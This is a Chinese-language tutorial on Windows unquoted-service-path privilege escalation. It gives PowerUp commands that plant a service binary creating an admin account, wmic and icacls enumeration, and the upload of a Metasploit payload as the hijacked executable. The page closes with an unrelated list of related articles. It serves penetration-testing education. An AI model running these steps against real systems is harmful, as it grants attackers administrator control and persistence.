[windows提权] 详解-可信任服务路径提权

简介: "包含空格但没有引号的服务路径",利用windows解析文件路径的特性,如果一个服务的可执行文件路径热设置不当,攻击者可构造对应的可执行文件,从而利用提权,powerup的Get-ServiceUnquoted模块、配合MSF,可以自动化帮我们完成提权

可信任服务路径提权

①简介

"包含空格但没有引号的服务路径",利用windows解析文件路径的特性,如果一个服务的可执行文件路径热设置不当,攻击者可构造对应的可执行文件,从而利用提权,powerup的Get-ServiceUnquoted模块、配合MSF,可以自动化帮我们完成提权


②提权操作

1、安装一个存在漏洞的服务环境

https://www.exploit-db.com/exploits/24872



-使用Powerup:

1、用相应模块寻找问题路径


powershell -exec bypass "import-module .\powerup.ps1;Get-ServiceUnquoted"


2、根据AbuseFunction给出的进行利用


powershell -exec bypass "import-module .\powerup.ps1;Write-ServiceBinary -Name 'ScsiAccess' -Path 'C:\Program Files (x86)\Photodex\ProShow Producer\ScsiAccess.exe'"

可以看到是创建了管理员用户john,密码为Password123!


3、等待服务重启,用户添加成功


net user


如果权限能手动停止、启动服务可执行:



sc stop 服务名  #停止服务sc start 服务名  #启动服务



-配合MSF和WMIC:

1、拿到一个不是最高权限的会话


getuid


2、进入shell会话,用wmic枚举可能存在漏洞的路径


wmic service get name,displayname.pathname,startmode | findstr /i "Auto" | findstr /i /v "C:\windows\\" | findstr /i /v """


成功找到一个,会按照如下顺序执行程序:

C:\Program.exe

C:\Program Files(x86)\Photodex\ProShow.exe

C:\Program Files(x86)\Photodex\ProShow Producer\ScsiAccess.exe


详细解析一下:

我们根据wmic查询的结果,发现有一个exe文件的路径存在问题,此exe的全路径共有三个空格,那么就会按照:第一个空格断开,拼接exe直接执行,就是比如:C:\Program[空格]xxxxx\xxxx.exe那么空格后面的会被忽略,直接将Program拼接exe作为一个可执行程序执行,如果没有找到,那么就从第二个空格断开,再拼接exe执行,以此类推,实际情况可能就得看哪个目录有上传权限,再进行深入的利用了。



3、查看目录权限,用windows自带的icacls


icacls "文件夹路径"

参数解析:

(M):修改

(F):完全控制


可以看到,是Everyone,即具有完全控制权限



4、然后upload一个msf的payload到相应目录,并重命名为上面可能执行的文件名


5、等待服务重启,MSF开启监听,成功上线


但是这个会话很不稳定,所以第一时间进行进程迁移


run post/windows/manage/migrate


再次查看权限:


getuid

目录
相关文章
|
3月前
|
NoSQL Redis Windows
windows服务器重装系统之后,Redis服务如何恢复?
windows服务器重装系统之后,Redis服务如何恢复?
75 6
|
4月前
|
计算机视觉 Windows Python
windows下使用python + opencv读取含有中文路径的图片 和 把图片数据保存到含有中文的路径下
在Windows系统中,直接使用`cv2.imread()`和`cv2.imwrite()`处理含中文路径的图像文件时会遇到问题。读取时会返回空数据,保存时则无法正确保存至目标目录。为解决这些问题,可以使用`cv2.imdecode()`结合`np.fromfile()`来读取图像,并使用`cv2.imencode()`结合`tofile()`方法来保存图像至含中文的路径。这种方法有效避免了路径编码问题,确保图像处理流程顺畅进行。
425 1
|
1月前
|
存储 负载均衡 Java
如何配置Windows主机MPIO多路径访问存储系统
Windows主机多路径(MPIO)是一种技术,用于在客户端计算机上配置多个路径到存储设备,以提高数据访问的可靠性和性能。本文以Windows2012 R2版本为例介绍如何在客户端主机和存储系统配置多路径访问。
93 13
如何配置Windows主机MPIO多路径访问存储系统
|
29天前
|
网络安全 Windows
Windows server 2012R2系统安装远程桌面服务后无法多用户同时登录是什么原因?
【11月更文挑战第15天】本文介绍了在Windows Server 2012 R2中遇到的多用户无法同时登录远程桌面的问题及其解决方法,包括许可模式限制、组策略配置问题、远程桌面服务配置错误以及网络和防火墙问题四个方面的原因分析及对应的解决方案。
|
2月前
|
边缘计算 安全 网络安全
|
2月前
|
开发框架 .NET API
Windows Forms应用程序中集成一个ASP.NET API服务
Windows Forms应用程序中集成一个ASP.NET API服务
108 9
|
2月前
|
应用服务中间件 Apache Windows
免安装版的Tomcat注册为windows服务
免安装版的Tomcat注册为windows服务
135 3
|
2月前
|
Java 关系型数据库 MySQL
java控制Windows进程,服务管理器项目
本文介绍了如何使用Java的`Runtime`和`Process`类来控制Windows进程,包括执行命令、读取进程输出和错误流以及等待进程完成,并提供了一个简单的服务管理器项目示例。
43 1
|
3月前
|
Java 应用服务中间件 Windows
windows服务器重装系统之后,Tomcat服务如何恢复?
windows服务器重装系统之后,Tomcat服务如何恢复?
66 10
|
3月前
|
消息中间件 Java Kafka
windows服务器重装系统之后,Kafka服务如何恢复?
windows服务器重装系统之后,Kafka服务如何恢复?
37 8
下一篇
DataWorks